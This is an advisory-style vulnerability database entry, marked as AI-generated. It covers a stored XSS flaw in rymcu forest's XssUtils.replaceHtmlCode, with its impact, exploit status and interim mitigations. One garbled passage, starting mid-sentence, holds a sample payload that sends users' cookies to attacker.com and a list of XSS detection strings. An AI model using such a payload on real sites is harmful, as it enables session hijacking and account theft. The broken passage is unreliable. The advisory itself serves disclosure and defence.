
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-2946 is a stored cross-site scripting (XSS) vulnerability in rymcu forest, an open-source community platform, affecting all versions up to and including 0.0.5. The flaw resides in the XssUtils.replaceHtmlCode function (src/main/java/com/rymcu/forest/util/XssUtils.java) within the Article Content, Comments, and Portfolio components. It was publicly disclosed on February 22, 2026, with a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, VulDB). The vendor was contacted prior to disclosure but did not respond.
The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), with an additional classification of improper control of code generation (CWE-94). The XssUtils.replaceHtmlCode function fails to adequately sanitize or encode user-controlled content submitted to article bodies, comments, or portfolio sections before rendering it in the browser. An authenticated attacker with low privileges can submit a crafted payload containing malicious JavaScript; when other users view the affected content, the script executes in their browser within the application's security context. A proof-of-concept exploit has been publicly disclosed (Feedly).
Successful exploitation allows a low-privileged remote attacker to execute arbitrary JavaScript in the browsers of other users who view the malicious content, impacting both confidentiality and integrity. Practical consequences include session hijacking, credential theft, account takeover, UI defacement, and phishing attacks conducted within the trusted application context. Availability is not directly impacted, but the stored nature of the XSS means a single injected payload can affect all users who subsequently view the compromised content (Red Hat CVE).
A proof-of-concept exploit has been publicly disclosed on Feishu (a document-sharing platform) and was added to exploit tracking on February 25, 2026 (Feedly). The EPSS score is approximately 0.029% (0.000290), indicating a currently low probability of widespread exploitation. There is no confirmed evidence of active in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid (low-privileged) account and victim user interaction (viewing the malicious content).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant) designed to bypass the XssUtils.replaceHtmlCode sanitization logic.<script>, onerror=, onload=, javascript:, or other XSS-indicative strings to article/comment/portfolio endpoints.No official patch has been released by the rymcu vendor, who did not respond to the responsible disclosure notification. Organizations should immediately inventory all deployments of rymcu forest version 0.0.5 or earlier and consider the following interim mitigations: deploy a Web Application Firewall (WAF) with rules targeting XSS patterns in article, comment, and portfolio submission endpoints; restrict content creation to highly trusted users only; implement server-side output encoding and strict Content Security Policy (CSP) headers as compensating controls. Monitoring the rymcu/forest GitHub repository for any upstream security fixes is recommended (Red Hat CVE).
The vulnerability has been indexed by several CVE aggregation and threat intelligence platforms including VulDB, CVE.org, Red Hat, and Vulners shortly after disclosure. No notable public commentary from security researchers or significant media coverage has been identified beyond standard database entries. The vendor's lack of response to the initial disclosure report has been noted in the vulnerability description.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."